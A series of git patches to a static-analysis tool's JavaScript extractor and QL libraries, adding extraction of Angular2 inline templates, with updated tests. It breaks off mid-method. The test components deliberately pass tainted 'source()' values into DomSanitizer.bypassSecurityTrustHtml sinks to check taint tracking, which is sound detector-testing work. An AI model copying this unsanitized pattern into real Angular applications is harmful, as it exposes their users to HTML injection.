unknownPipe | -| foo.component.html:5:20:5:27 | testPipe | -| foo.component.html:6:19:6:26 | testPipe | +| source.component.html:3:22:3:32 | unknownPipe | +| source.component.html:4:22:4:32 | unknownPipe | +| source.component.html:5:22:5:29 | testPipe | +| source.component.html:6:19:6:26 | testPipe | pipeCall -| foo.component.html:3:14:3:30 | foo \| unknownPipe | -| foo.component.html:4:14:4:37 | foo \| u ... :'safe' | -| foo.component.html:5:14:5:34 | foo \| t ... :'safe' | -| foo.component.html:6:14:6:30 | 42 \| testPipe:foo | +| source.component.html:3:14:3:32 | taint \| unknownPipe | +| source.component.html:4:14:4:39 | taint \| ... :'safe' | +| source.component.html:5:14:5:36 | taint \| ... :'safe' | +| source.component.html:6:14:6:32 | 42 \| testPipe:taint | pipeCallArg -| 0 | foo.component.html:3:14:3:16 | foo | foo.component.html:3:14:3:30 | foo \| unknownPipe | -| 0 | foo.component.html:4:14:4:16 | foo | foo.component.html:4:14:4:37 | foo \| u ... :'safe' | -| 0 | foo.component.html:5:14:5:16 | foo | foo.component.html:5:14:5:34 | foo \| t ... :'safe' | -| 0 | foo.component.html:6:14:6:15 | 42 | foo.component.html:6:14:6:30 | 42 \| testPipe:foo | -| 1 | foo.component.html:4:32:4:37 | 'safe' | foo.component.html:4:14:4:37 | foo \| u ... :'safe' | -| 1 | foo.component.html:5:29:5:34 | 'safe' | foo.component.html:5:14:5:34 | foo \| t ... :'safe' | -| 1 | foo.component.html:6:28:6:30 | foo | foo.component.html:6:14:6:30 | 42 \| testPipe:foo | +| 0 | source.component.html:3:14:3:18 | taint | source.component.html:3:14:3:32 | taint \| unknownPipe | +| 0 | source.component.html:4:14:4:18 | taint | source.component.html:4:14:4:39 | taint \| ... :'safe' | +| 0 | source.component.html:5:14:5:18 | taint | source.component.html:5:14:5:36 | taint \| ... :'safe' | +| 0 | source.component.html:6:14:6:15 | 42 | source.component.html:6:14:6:32 | 42 \| testPipe:taint | +| 1 | source.component.html:4:34:4:39 | 'safe' | source.component.html:4:14:4:39 | taint \| ... :'safe' | +| 1 | source.component.html:5:31:5:36 | 'safe' | source.component.html:5:14:5:36 | taint \| ... :'safe' | +| 1 | source.component.html:6:28:6:32 | taint | source.component.html:6:14:6:32 | 42 \| testPipe:taint | pipeClass | TestPipe.ts:4:8:9:1 | class T ... ;\\n }\\n} | pipeClassRef -| TestPipe.ts:4:8:9:1 | class T ... ;\\n }\\n} | foo.component.html:5:20:5:27 | testPipe | -| TestPipe.ts:4:8:9:1 | class T ... ;\\n }\\n} | foo.component.html:6:19:6:26 | testPipe | +| TestPipe.ts:4:8:9:1 | class T ... ;\\n }\\n} | source.component.html:5:22:5:29 | testPipe | +| TestPipe.ts:4:8:9:1 | class T ... ;\\n }\\n} | source.component.html:6:19:6:26 | testPipe | taintFlow -| foo.component.ts:13:20:13:27 | source() | other.component.ts:18:48:18:57 | this.prop1 | -| foo.component.ts:13:20:13:27 | source() | other.component.ts:21:48:21:57 | this.prop4 | -| foo.component.ts:13:20:13:27 | source() | other.component.ts:22:48:22:57 | this.prop5 | -| foo.component.ts:14:33:14:40 | source() | other.component.ts:18:48:18:57 | this.prop1 | +| source.component.ts:13:22:13:29 | source() | sink.component.ts:18:48:18:57 | this.sink1 | +| source.component.ts:13:22:13:29 | source() | sink.component.ts:21:48:21:57 | this.sink4 | +| source.component.ts:13:22:13:29 | source() | sink.component.ts:22:48:22:57 | this.sink5 | +| source.component.ts:14:33:14:40 | source() | sink.component.ts:18:48:18:57 | this.sink1 | From 6bf93452584835faea1371e8309b90507a1d8667 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Sat, 12 Dec 2020 20:27:03 +0000 Subject: [PATCH 0649/1241] JS: Add test for class with locally-unused field --- .../library-tests/frameworks/Angular2/mid.component.html | 1 + .../library-tests/frameworks/Angular2/mid.component.ts | 9 +++++++++ .../library-tests/frameworks/Angular2/sink.component.ts | 2 ++ .../frameworks/Angular2/source.component.html | 2 ++ .../test/library-tests/frameworks/Angular2/test.expected | 9 +++++---- 5 files changed, 19 insertions(+), 4 deletions(-) create mode 100644 javascript/ql/test/library-tests/frameworks/Angular2/mid.component.html create mode 100644 javascript/ql/test/library-tests/frameworks/Angular2/mid.component.ts diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/mid.component.html b/javascript/ql/test/library-tests/frameworks/Angular2/mid.component.html new file mode 100644 index 00000000000..d71ed261393 --- /dev/null +++ b/javascript/ql/test/library-tests/frameworks/Angular2/mid.component.html @@ -0,0 +1 @@ +<sink-component [sink6]="field"></sink-component> diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/mid.component.ts b/javascript/ql/test/library-tests/frameworks/Angular2/mid.component.ts new file mode 100644 index 00000000000..767ee692424 --- /dev/null +++ b/javascript/ql/test/library-tests/frameworks/Angular2/mid.component.ts @@ -0,0 +1,9 @@ +import { Input, Component } from '@angular/core'; + +@Component({ + selector: 'mid-component', + templateUrl: './mid.component.html' +}) +export class MidComponent { + @Input() field: string; +} diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/sink.component.ts b/javascript/ql/test/library-tests/frameworks/Angular2/sink.component.ts index a3464b9212a..e286cac9910 100644 --- a/javascript/ql/test/library-tests/frameworks/Angular2/sink.component.ts +++ b/javascript/ql/test/library-tests/frameworks/Angular2/sink.component.ts @@ -11,6 +11,7 @@ export class SinkComponent { sink3: string; sink4: string; sink5: string; + sink6: string; constructor(private sanitizer: DomSanitizer) {} @@ -20,5 +21,6 @@ export class SinkComponent { this.sanitizer.bypassSecurityTrustHtml(this.sink3); this.sanitizer.bypassSecurityTrustHtml(this.sink4); this.sanitizer.bypassSecurityTrustHtml(this.sink5); + this.sanitizer.bypassSecurityTrustHtml(this.sink6); } } diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/source.component.html b/javascript/ql/test/library-tests/frameworks/Angular2/source.component.html index ba33720aae5..c26664f8d85 100644 --- a/javascript/ql/test/library-tests/frameworks/Angular2/source.component.html +++ b/javascript/ql/test/library-tests/frameworks/Angular2/source.component.html @@ -13,3 +13,5 @@ <div *ngFor="let element of safeArray"> <sink-component [sink2]="element"></sink-component> </div> + +<mid-component [field]="taint"></mid-component> diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/test.expected b/javascript/ql/test/library-tests/frameworks/Angular2/test.expected index 24286fe9058..7253c4b6dfb 100644 --- a/javascript/ql/test/library-tests/frameworks/Angular2/test.expected +++ b/javascript/ql/test/library-tests/frameworks/Angular2/test.expected @@ -22,7 +22,8 @@ pipeClassRef | TestPipe.ts:4:8:9:1 | class T ... ;\\n }\\n} | source.component.html:5:22:5:29 | testPipe | | TestPipe.ts:4:8:9:1 | class T ... ;\\n }\\n} | source.component.html:6:19:6:26 | testPipe | taintFlow -| source.component.ts:13:22:13:29 | source() | sink.component.ts:18:48:18:57 | this.sink1 | -| source.component.ts:13:22:13:29 | source() | sink.component.ts:21:48:21:57 | this.sink4 | -| source.component.ts:13:22:13:29 | source() | sink.component.ts:22:48:22:57 | this.sink5 | -| source.component.ts:14:33:14:40 | source() | sink.component.ts:18:48:18:57 | this.sink1 | +| source.component.ts:13:22:13:29 | source() | sink.component.ts:19:48:19:57 | this.sink1 | +| source.component.ts:13:22:13:29 | source() | sink.component.ts:22:48:22:57 | this.sink4 | +| source.component.ts:13:22:13:29 | source() | sink.component.ts:23:48:23:57 | this.sink5 | +| source.component.ts:13:22:13:29 | source() | sink.component.ts:24:48:24:57 | this.sink6 | +| source.component.ts:14:33:14:40 | source() | sink.component.ts:19:48:19:57 | this.sink1 | From 8848ee2d101f2f4091a1375833e6e55fd6f1906b Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Mon, 14 Dec 2020 10:37:38 +0000 Subject: [PATCH 0650/1241] JS: Extract HTML from inline templates --- .../com/semmle/js/extractor/ASTExtractor.java | 66 ++++++++++++++++++- .../semmle/js/extractor/HTMLExtractor.java | 21 +++++- .../com/semmle/js/extractor/JSExtractor.java | 4 +- .../semmle/js/extractor/LexicalExtractor.java | 9 ++- javascript/ql/src/semmle/javascript/HTML.qll | 59 +++++++++-------- .../semmle/javascript/frameworks/Angular2.qll | 22 ++++++- .../frameworks/Angular2/inline.component.ts | 17 +++++ .../frameworks/Angular2/sink.component.ts | 2 + .../frameworks/Angular2/test.expected | 11 ++-- 9 files changed, 170 insertions(+), 41 deletions(-) create mode 100644 javascript/ql/test/library-tests/frameworks/Angular2/inline.component.ts diff --git a/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java index 583ee57472a..e337f2efd8e 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java @@ -1,5 +1,6 @@ package com.semmle.js.extractor; +import java.nio.file.Path; import java.util.ArrayList; import java.util.Collections; import java.util.List; @@ -166,8 +167,10 @@ public class ASTExtractor { private final Label toplevelLabel; private final LexicalExtractor lexicalExtractor; private final RegExpExtractor regexpExtractor; + private final ExtractorConfig config; - public ASTExtractor(LexicalExtractor lexicalExtractor, ScopeManager scopeManager) { + public ASTExtractor(ExtractorConfig config, LexicalExtractor lexicalExtractor, ScopeManager scopeManager) { + this.config = config; this.trapwriter = lexicalExtractor.getTrapwriter(); this.locationManager = lexicalExtractor.getLocationManager(); this.contextManager = new SyntacticContextManager(); @@ -1136,9 +1139,70 @@ public class ASTExtractor { visit(nd.getDefaultValue(), propkey, 2, IdContext.varBind); if (nd.isComputed()) trapwriter.addTuple("is_computed", propkey); if (nd.isMethod()) trapwriter.addTuple("is_method", propkey); + + // Extract the value of a property named `template` as HTML, in order to support + // Angular2 components with an inline template. + if (!nd.isComputed() && "template".equals(tryGetIdentifierName(nd.getKey()))) { + extractStringValueAsHtml(nd.getValue()); + } + return propkey; } + /** + * Extracts the string value of <code>expr</code> as an HTML snippet. + */ + private void extractStringValueAsHtml(Expression expr) { + TextualExtractor textualExtractor = lexicalExtractor.getTextualExtractor(); + if (textualExtractor.isSnippet()) { + return; // do not create nested snippets + } + String source = tryGetStringValueFromExpression(expr); + if (source == null) { + return; + } + SourceLocation loc = expr.getLoc(); + Path originalFile = textualExtractor.getExtractedFile().toPath(); + Path vfile = originalFile.resolveSibling(originalFile.getFileName().toString() + "." + loc.getStart().getLine() + "." + loc.getStart().getColumn() + ".html"); + LocationManager innerLocationManager = new LocationManager( + locationManager.getSourceFile(), + locationManager.getTrapWriter(), + locationManager.getFileLabel()); + innerLocationManager.setStart(loc.getStart().getLine(), loc.getStart().getColumn()); + TextualExtractor innerTextualExtractor = new TextualExtractor( + trapwriter, + innerLocationManager, + source, + false, + getMetrics(), + vfile.toFile()); + HTMLExtractor html = HTMLExtractor.forEmbeddedHtml(config); + html.extract(innerTextualExtractor); + } + + private String tryGetIdentifierName(Expression e) { + return e instanceof Identifier ? ((Identifier)e).getName() : null; + } + + private String tryGetStringValueFromExpression(Expression e) { + if (e instanceof Literal) { + Literal lit = (Literal) e; + return lit.isStringLiteral() ? (String) lit.getValue() : null; + } + if (e instanceof TemplateLiteral) { + TemplateLiteral lit = (TemplateLiteral) e; + if (!lit.getExpressions().isEmpty()) { + return null; + } + StringBuilder sb = new StringBuilder(); + for (TemplateElement elm : lit.getQuasis()) { + sb.append(elm.getCooked()); + } + return sb.toString(); + } + return null; + } + @Override public Label visit(IfStatement nd, Context c) { Label key = super.visit(nd, c); diff --git a/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java index 90f2cdf55d0..bd5f7d33de6 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java @@ -166,10 +166,21 @@ public class HTMLExtractor implements IExtractor { private final ExtractorConfig config; private final ExtractorState state; + private final boolean isEmbedded; - public HTMLExtractor(ExtractorConfig config, ExtractorState state) { + public HTMLExtractor(ExtractorConfig config, ExtractorState state, boolean isEmbedded) { this.config = config.withPlatform(Platform.WEB); this.state = state; + this.isEmbedded = isEmbedded; + } + + public HTMLExtractor(ExtractorConfig config, ExtractorState state) { + this(config, state, false); + } + + /** Creates an HTML extractor for embedded HTML snippets. */ + public static HTMLExtractor forEmbeddedHtml(ExtractorConfig config) { + return new HTMLExtractor(config, null, true); } @Override @@ -179,12 +190,15 @@ public class HTMLExtractor implements IExtractor { Attributes.setDefaultMaxErrorCount(100); JavaScriptHTMLElementHandler eltHandler = new JavaScriptHTMLElementHandler(textualExtractor); + LocationManager locationManager = textualExtractor.getLocationManager(); HtmlPopulator extractor = new HtmlPopulator( this.config.getHtmlHandling(), textualExtractor.getSource(), textualExtractor.getTrapwriter(), - textualExtractor.getLocationManager().getFileLabel()); + locationManager.getFileLabel()); + + extractor.setStartOffset(locationManager.getStartLine() - 1, locationManager.getStartColumn() - 1); extractor.doit(Option.some(eltHandler)); @@ -266,6 +280,9 @@ public class HTMLExtractor implements IExtractor { int column, boolean isTypeScript) { if (isTypeScript) { + if (isEmbedded) { + return null; // Do not extract files from HTML embedded in other files. + } Path file = textualExtractor.getExtractedFile().toPath(); FileSnippet snippet = new FileSnippet(file, line, column, toplevelKind, config.getSourceType()); diff --git a/javascript/extractor/src/com/semmle/js/extractor/JSExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/JSExtractor.java index 3916b35c9da..07c62e1baa3 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/JSExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/JSExtractor.java @@ -106,7 +106,7 @@ public class JSExtractor { lexicalExtractor = new LexicalExtractor(textualExtractor, parserRes.getTokens(), parserRes.getComments()); - ASTExtractor scriptExtractor = new ASTExtractor(lexicalExtractor, scopeManager); + ASTExtractor scriptExtractor = new ASTExtractor(config, lexicalExtractor, scopeManager); toplevelLabel = scriptExtractor.getToplevelLabel(); lexicalExtractor.extractComments(toplevelLabel); loc = lexicalExtractor.extractLines(parserRes.getSource(), toplevelLabel); @@ -119,7 +119,7 @@ public class JSExtractor { } else { lexicalExtractor = new LexicalExtractor(textualExtractor, new ArrayList<Token>(), new ArrayList<Comment>()); - ASTExtractor scriptExtractor = new ASTExtractor(lexicalExtractor, null); + ASTExtractor scriptExtractor = new ASTExtractor(config, lexicalExtractor, null); toplevelLabel = scriptExtractor.getToplevelLabel(); trapwriter.addTuple("toplevels", toplevelLabel, toplevelKind.getValue()); diff --git a/javascript/extractor/src/com/semmle/js/extractor/LexicalExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/LexicalExtractor.java index 6ca47eb5f6e..4e40160b1e7 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/LexicalExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/LexicalExtractor.java @@ -1,5 +1,7 @@ package com.semmle.js.extractor; +import java.util.List; + import com.semmle.js.ast.Comment; import com.semmle.js.ast.Position; import com.semmle.js.ast.SourceElement; @@ -7,7 +9,6 @@ import com.semmle.js.ast.Token; import com.semmle.js.extractor.ExtractionMetrics.ExtractionPhase; import com.semmle.util.trap.TrapWriter; import com.semmle.util.trap.TrapWriter.Label; -import java.util.List; /** * Extractor for populating lexical information about a JavaScript file, including comments and @@ -28,7 +29,11 @@ public class LexicalExtractor { this.tokens = tokens; this.comments = comments; } - + + public TextualExtractor getTextualExtractor() { + return textualExtractor; + } + public TrapWriter getTrapwriter() { return trapwriter; } diff --git a/javascript/ql/src/semmle/javascript/HTML.qll b/javascript/ql/src/semmle/javascript/HTML.qll index 898c0d01697..36c7e967f88 100644 --- a/javascript/ql/src/semmle/javascript/HTML.qll +++ b/javascript/ql/src/semmle/javascript/HTML.qll @@ -84,6 +84,32 @@ module HTML { override string getAPrimaryQlClass() { result = "HTML::Element" } } + /** + * Gets the inline script of the given attribute, if any. + */ + CodeInAttribute getCodeInAttribute(XMLAttribute attribute) { + exists( + string f, Location l1, int sl1, int sc1, int el1, int ec1, Location l2, int sl2, int sc2, + int el2, int ec2 + | + l1 = attribute.getLocation() and + l2 = result.getLocation() and + l1.hasLocationInfo(f, sl1, sc1, el1, ec1) and + l2.hasLocationInfo(f, sl2, sc2, el2, ec2) + | + ( + sl1 = sl2 and sc1 < sc2 + or + sl1 < sl2 + ) and + ( + el1 = el2 and ec1 > ec2 + or + el1 > el2 + ) + ) + } + /** * An attribute of an HTML element. * @@ -101,6 +127,13 @@ module HTML { override Location getLocation() { xmllocations(this, result) } + /** + * Gets the inline script of this attribute, if any. + */ + CodeInAttribute getCodeInAttribute() { + result = getCodeInAttribute(this) + } + /** * Gets the element to which this attribute belongs. */ @@ -127,32 +160,6 @@ module HTML { override string toString() { result = getName() + "=" + getValue() } - /** - * Gets the inline script of this attribute, if any. - */ - CodeInAttribute getCodeInAttribute() { - exists( - string f, Location l1, int sl1, int sc1, int el1, int ec1, Location l2, int sl2, int sc2, - int el2, int ec2 - | - l1 = getLocation() and - l2 = result.getLocation() and - l1.hasLocationInfo(f, sl1, sc1, el1, ec1) and - l2.hasLocationInfo(f, sl2, sc2, el2, ec2) - | - ( - sl1 = sl2 and sc1 < sc2 - or - sl1 < sl2 - ) and - ( - el1 = el2 and ec1 > ec2 - or - el1 > el2 - ) - ) - } - override string getAPrimaryQlClass() { result = "HTML::Attribute" } } diff --git a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll index 5918edeacc9..52e82d66660 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll @@ -355,14 +355,30 @@ module Angular2 { result = decorator.getOptionArgument(0, "templateUrl").asExpr().(PathExpr).resolve() } + pragma[noinline] + private Location getInlineTemplateLocation() { + result = decorator.getOptionArgument(0, "template").asExpr().getLocation() + } + + private XMLAttribute getAnAttributeInInlineTemplate() { + exists(Location templateLoc, Location attribLoc | + templateLoc = getInlineTemplateLocation() and + attribLoc = result.getLocation() and + templateLoc.getFile() = attribLoc.getFile() + // TODO: check line/column - though in practice checking the file is enough + ) + } + /** * Gets an access to the variable `name` in the template body. */ DataFlow::Node getATemplateVarAccess(string name) { - exists(HTML::Attribute attrib | - attrib.getFile() = getTemplateFile() and + exists(XMLAttribute attrib | + attrib.getLocation().getFile() = getTemplateFile() or + attrib = getAnAttributeInInlineTemplate() + | isAngularExpressionAttribute(attrib) and - result = getAGlobalVarAccessInAttribute(attrib.getCodeInAttribute(), name).flow() + result = getAGlobalVarAccessInAttribute(HTML::getCodeInAttribute(attrib), name).flow() ) } } diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/inline.component.ts b/javascript/ql/test/library-tests/frameworks/Angular2/inline.component.ts new file mode 100644 index 00000000000..7bcae20cb8c --- /dev/null +++ b/javascript/ql/test/library-tests/frameworks/Angular2/inline.component.ts @@ -0,0 +1,17 @@ +import { Input, Component } from '@angular/core'; + +@Component({ + selector: 'mid-component', + template: ` + <sink-component [sink7]="taint"></sink-component> + + \n<sink-component [sink7]="taint"></sink-component> +` +}) +export class InlineComponent { + taint: string; + + constructor() { + this.taint = source(); + } +} diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/sink.component.ts b/javascript/ql/test/library-tests/frameworks/Angular2/sink.component.ts index e286cac9910..9986a965ed6 100644 --- a/javascript/ql/test/library-tests/frameworks/Angular2/sink.component.ts +++ b/javascript/ql/test/library-tests/frameworks/Angular2/sink.component.ts @@ -12,6 +12,7 @@ export class SinkComponent { sink4: string; sink5: string; sink6: string; + sink7: string; constructor(private sanitizer: DomSanitizer) {} @@ -22,5 +23,6 @@ export class SinkComponent { this.sanitizer.bypassSecurityTrustHtml(this.sink4); this.sanitizer.bypassSecurityTrustHtml(this.sink5); this.sanitizer.bypassSecurityTrustHtml(this.sink6); + this.sanitizer.bypassSecurityTrustHtml(this.sink7); } } diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/test.expected b/javascript/ql/test/library-tests/frameworks/Angular2/test.expected index 7253c4b6dfb..44f5154b57a 100644 --- a/javascript/ql/test/library-tests/frameworks/Angular2/test.expected +++ b/javascript/ql/test/library-tests/frameworks/Angular2/test.expected @@ -22,8 +22,9 @@ pipeClassRef | TestPipe.ts:4:8:9:1 | class T ... ;\\n }\\n} | source.component.html:5:22:5:29 | testPipe | | TestPipe.ts:4:8:9:1 | class T ... ;\\n }\\n} | source.component.html:6:19:6:26 | testPipe | taintFlow -| source.component.ts:13:22:13:29 | source() | sink.component.ts:19:48:19:57 | this.sink1 | -| source.component.ts:13:22:13:29 | source() | sink.component.ts:22:48:22:57 | this.sink4 | -| source.component.ts:13:22:13:29 | source() | sink.component.ts:23:48:23:57 | this.sink5 | -| source.component.ts:13:22:13:29 | source() | sink.component.ts:24:48:24:57 | this.sink6 | -| source.component.ts:14:33:14:40 | source() | sink.component.ts:19:48:19:57 | this.sink1 | +| inline.component.ts:15:22:15:29 | source() | sink.component.ts:26:48:26:57 | this.sink7 | +| source.component.ts:13:22:13:29 | source() | sink.component.ts:20:48:20:57 | this.sink1 | +| source.component.ts:13:22:13:29 | source() | sink.component.ts:23:48:23:57 | this.sink4 | +| source.component.ts:13:22:13:29 | source() | sink.component.ts:24:48:24:57 | this.sink5 | +| source.component.ts:13:22:13:29 | source() | sink.component.ts:25:48:25:57 | this.sink6 | +| source.component.ts:14:33:14:40 | source() | sink.component.ts:20:48:20:57 | this.sink1 | From 3b666a56468faf30177e45848f5ea661ed15a89a Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Mon, 14 Dec 2020 11:59:08 +0000 Subject: [PATCH 0651/1241] JS: Extract mapping from TopLevel to parent HTML node --- .../com/semmle/js/extractor/ASTExtractor.java | 24 ++- .../semmle/js/extractor/HTMLExtractor.java | 144 ++++++++++-------- javascript/ql/src/semmle/javascript/HTML.qll | 42 +---- .../ql/src/semmlecode.javascript.dbscheme | 5 + 4 files changed, 102 insertions(+), 113 deletions(-) diff --git a/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java index e337f2efd8e..2b448ac54c5 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java @@ -177,14 +177,22 @@ public class ASTExtractor { this.scopeManager = scopeManager; this.lexicalExtractor = lexicalExtractor; this.regexpExtractor = new RegExpExtractor(trapwriter, locationManager); - this.toplevelLabel = - trapwriter.globalID( - "script;{" - + locationManager.getFileLabel() - + "}," - + locationManager.getStartLine() - + ',' - + locationManager.getStartColumn()); + this.toplevelLabel = makeTopLevelLabel(trapwriter, locationManager.getFileLabel(), locationManager.getStartLine(), locationManager.getStartColumn()); + } + + /** + * Returns the label for the top-level starting at the given location. + * <p> + * May be used to refer to the top-level before it has been extracted. + */ + public static Label makeTopLevelLabel(TrapWriter trapWriter, Label fileLabel, int startLine, int startColumn) { + return trapWriter.globalID( + "script;{" + + fileLabel + + "}," + + startLine + + ',' + + startColumn); } public TrapWriter getTrapwriter() { diff --git a/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java index bd5f7d33de6..f04ea325528 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java @@ -10,9 +10,11 @@ import com.semmle.js.extractor.ExtractorConfig.Platform; import com.semmle.js.extractor.ExtractorConfig.SourceType; import com.semmle.js.parser.ParseError; import com.semmle.util.data.Option; +import com.semmle.util.data.Pair; import com.semmle.util.data.StringUtil; import com.semmle.util.io.WholeIO; import com.semmle.util.trap.TrapWriter; +import com.semmle.util.trap.TrapWriter.Label; import net.htmlparser.jericho.Attribute; import net.htmlparser.jericho.Attributes; @@ -23,16 +25,15 @@ import net.htmlparser.jericho.Segment; /** Extractor for handling HTML and XHTML files. */ public class HTMLExtractor implements IExtractor { + private LoCInfo locInfo = new LoCInfo(0, 0); + private class JavaScriptHTMLElementHandler implements HtmlPopulator.ElementHandler { private final ScopeManager scopeManager; private final TextualExtractor textualExtractor; - private LoCInfo locInfo; - + public JavaScriptHTMLElementHandler(TextualExtractor textualExtractor) { this.textualExtractor = textualExtractor; - this.locInfo = new LoCInfo(0, 0); - this.scopeManager = new ScopeManager(textualExtractor.getTrapwriter(), config.getEcmaVersion()); } @@ -42,8 +43,7 @@ public class HTMLExtractor implements IExtractor { * attribute values. */ @Override - public void handleElement(Element elt) { - LoCInfo snippetLoC = null; + public void handleElement(Element elt, HtmlPopulator.Context context) { if (elt.getName().equals(HTMLElementName.SCRIPT)) { SourceType sourceType = getScriptSourceType(elt, textualExtractor.getExtractedFile()); if (sourceType != null) { @@ -72,16 +72,17 @@ public class HTMLExtractor implements IExtractor { source = source.replace("<![CDATA[", " ").replace("]]>", " "); if (!source.trim().isEmpty()) { RowColumnVector contentStart = content.getRowColumnVector(); - snippetLoC = - extractSnippet( - TopLevelKind.inlineScript, - config.withSourceType(sourceType), - scopeManager, - textualExtractor, - source, - contentStart.getRow(), - contentStart.getColumn(), - isTypeScript); + extractSnippet( + TopLevelKind.inlineScript, + config.withSourceType(sourceType), + scopeManager, + textualExtractor, + source, + contentStart.getRow(), + contentStart.getColumn(), + isTypeScript, + elt, + context); } } } else { @@ -95,16 +96,17 @@ public class HTMLExtractor implements IExtractor { String source = attr.getValue(); RowColumnVector valueStart = attr.getValueSegment().getRowColumnVector(); if (JS_ATTRIBUTE.matcher(attr.getName()).matches()) { - snippetLoC = - extractSnippet( - TopLevelKind.eventHandler, - config, - scopeManager, - textualExtractor, - source, - valueStart.getRow(), - valueStart.getColumn(), - false /* isTypeScript */); + extractSnippet( + TopLevelKind.eventHandler, + config, + scopeManager, + textualExtractor, + source, + valueStart.getRow(), + valueStart.getColumn(), + false /* isTypeScript */, + attr, + context); } else if (isAngularTemplateAttributeName(attr.getName())) { // For an attribute *ngFor="let var of EXPR", start parsing at EXPR int offset = 0; @@ -116,37 +118,33 @@ public class HTMLExtractor implements IExtractor { source = expr; } } - snippetLoC = - extractSnippet( - TopLevelKind.eventHandler, - config.withSourceType(SourceType.ANGULAR_TEMPLATE), - scopeManager, - textualExtractor, - source, - valueStart.getRow(), - valueStart.getColumn() + offset, - false /* isTypeScript */); + extractSnippet( + TopLevelKind.eventHandler, + config.withSourceType(SourceType.ANGULAR_TEMPLATE), + scopeManager, + textualExtractor, + source, + valueStart.getRow(), + valueStart.getColumn() + offset, + false /* isTypeScript */, + attr, + context); } else if (source.startsWith("javascript:")) { source = source.substring(11); - snippetLoC = - extractSnippet( - TopLevelKind.javascriptUrl, - config, - scopeManager, - textualExtractor, - source, - valueStart.getRow(), - valueStart.getColumn() + 11, - false /* isTypeScript */); + extractSnippet( + TopLevelKind.javascriptUrl, + config, + scopeManager, + textualExtractor, + source, + valueStart.getRow(), + valueStart.getColumn() + 11, + false /* isTypeScript */, + attr, + context); } } } - - if (snippetLoC != null) locInfo.add(snippetLoC); - } - - public LoCInfo getLoCInfo() { - return this.locInfo; } } @@ -202,7 +200,7 @@ public class HTMLExtractor implements IExtractor { extractor.doit(Option.some(eltHandler)); - return eltHandler.getLoCInfo(); + return locInfo; } /** @@ -270,7 +268,7 @@ public class HTMLExtractor implements IExtractor { return val == null ? val : StringUtil.lc(val); } - private LoCInfo extractSnippet( + private void extractSnippet( TopLevelKind toplevelKind, ExtractorConfig config, ScopeManager scopeManager, @@ -278,10 +276,18 @@ public class HTMLExtractor implements IExtractor { String source, int line, int column, - boolean isTypeScript) { + boolean isTypeScript, + Segment parentHtmlNode, + HtmlPopulator.Context context) { + TrapWriter trapWriter = textualExtractor.getTrapwriter(); + LocationManager locationManager = textualExtractor.getLocationManager(); + LocationManager scriptLocationManager = + new LocationManager( + locationManager.getSourceFile(), trapWriter, locationManager.getFileLabel()); + scriptLocationManager.setStart(line, column); if (isTypeScript) { if (isEmbedded) { - return null; // Do not extract files from HTML embedded in other files. + return; // Do not extract files from HTML embedded in other files. } Path file = textualExtractor.getExtractedFile().toPath(); FileSnippet snippet = @@ -302,28 +308,36 @@ public class HTMLExtractor implements IExtractor { } state.getSnippets().put(virtualFile, snippet); } - return null; // LoC info is accounted for later + Label topLevelLabel = ASTExtractor.makeTopLevelLabel( + textualExtractor.getTrapwriter(), + scriptLocationManager.getFileLabel(), + scriptLocationManager.getStartLine(), + scriptLocationManager.getStartColumn()); + emitTopLevelXmlNodeBinding(parentHtmlNode, topLevelLabel, context, trapWriter); + // Note: LoC info is accounted for later, so not added here. + return; } - TrapWriter trapwriter = textualExtractor.getTrapwriter(); - LocationManager locationManager = textualExtractor.getLocationManager(); - LocationManager scriptLocationManager = - new LocationManager( - locationManager.getSourceFile(), trapwriter, locationManager.getFileLabel()); - scriptLocationManager.setStart(line, column); JSExtractor extractor = new JSExtractor(config); try { TextualExtractor tx = new TextualExtractor( - trapwriter, + trapWriter, scriptLocationManager, source, config.getExtractLines(), textualExtractor.getMetrics(), textualExtractor.getExtractedFile()); - return extractor.extract(tx, source, toplevelKind, scopeManager).snd(); + Pair<Label, LoCInfo> result = extractor.extract(tx, source, toplevelKind, scopeManager); + emitTopLevelXmlNodeBinding(parentHtmlNode, result.fst(), context, trapWriter); + locInfo.add(result.snd()); } catch (ParseError e) { e.setPosition(scriptLocationManager.translatePosition(e.getPosition())); throw e.asUserError(); } } + + private void emitTopLevelXmlNodeBinding(Segment parentHtmlNode, Label topLevelLabel, HtmlPopulator.Context context, TrapWriter writer) { + Label 